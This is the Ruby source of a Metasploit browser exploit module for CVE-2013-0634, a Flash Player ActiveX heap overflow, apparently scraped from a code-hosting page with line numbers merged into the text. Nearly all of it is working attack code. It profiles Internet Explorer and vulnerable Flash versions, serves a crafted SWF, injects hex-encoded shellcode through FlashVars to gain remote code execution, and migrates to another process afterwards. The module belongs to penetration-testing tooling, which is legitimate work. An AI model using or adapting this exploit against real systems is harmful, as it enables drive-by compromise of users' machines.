Path: blob/master/modules/exploits/windows/browser/adobe_flash_regex_value.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info = {})11super(12update_info(13info,14'Name' => "Adobe Flash Player Regular Expression Heap Overflow",15'Description' => %q{16This module exploits a vulnerability found in the ActiveX component of Adobe17Flash Player before 11.5.502.149. By supplying a specially crafted swf file18with special regex value, it is possible to trigger a memory corruption, which19results in remote code execution under the context of the user, as exploited in20the wild in February 2013. This module has been tested successfully with Adobe21Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before22MS13-063, since it takes advantage of a predictable SharedUserData in order to23leak ntdll and bypass ASLR.24},25'License' => MSF_LICENSE,26'Author' => [27'Unknown', # malware sample28'Boris "dukeBarman" Ryutin', # msf exploit29'juan vazquez' # ActionScript deobfuscation and cleaning30],31'References' => [32[ 'CVE', '2013-0634' ],33[ 'OSVDB', '89936'],34[ 'BID', '57787'],35[ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],36[ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],37[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],38[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],39[ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]40],41'Payload' => {42'Space' => 1024,43'DisableNops' => true44},45'DefaultOptions' => {46'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',47'Retries' => false48},49'Platform' => 'win',50'BrowserRequirements' => {51:source => /script|headers/i,52:activex => [53{54clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",55method: "LoadMovie"56}57],58:os_name => OperatingSystems::Match::WINDOWS,59:ua_name => Msf::HttpClients::IE,60:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }61},62'Targets' => [63[ 'Automatic', {} ]64],65'Privileged' => false,66'DisclosureDate' => '2013-02-08',67'DefaultTarget' => 0,68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)75end7677def exploit78@swf = create_swf79super80end8182def on_request_exploit(cli, request, target_info)83print_status("Request: #{request.uri}")8485if request.uri =~ /\.swf$/86print_status("Sending SWF...")87send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Pragma' => 'no-cache' })88return89end9091print_status("Sending HTML...")92tag = retrieve_tag(cli, request)93profile = browser_profile[tag]94profile[:tried] = false unless profile.nil? # to allow request the swf95send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })96end9798def exploit_template(cli, target_info)99swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"100shellcode = get_payload(cli, target_info).unpack("H*")[0]101102html_template = %Q|<html>103<body>104<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />105<param name="movie" value="<%=swf_random%>" />106<param name="allowScriptAccess" value="always" />107<param name="FlashVars" value="his=<%=shellcode%>" />108<param name="Play" value="true" />109</object>110</body>111</html>112|113114return html_template, binding()115end116117def create_swf118path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf")119swf = ::File.open(path, 'rb') { |f| swf = f.read }120121swf122end123end124125126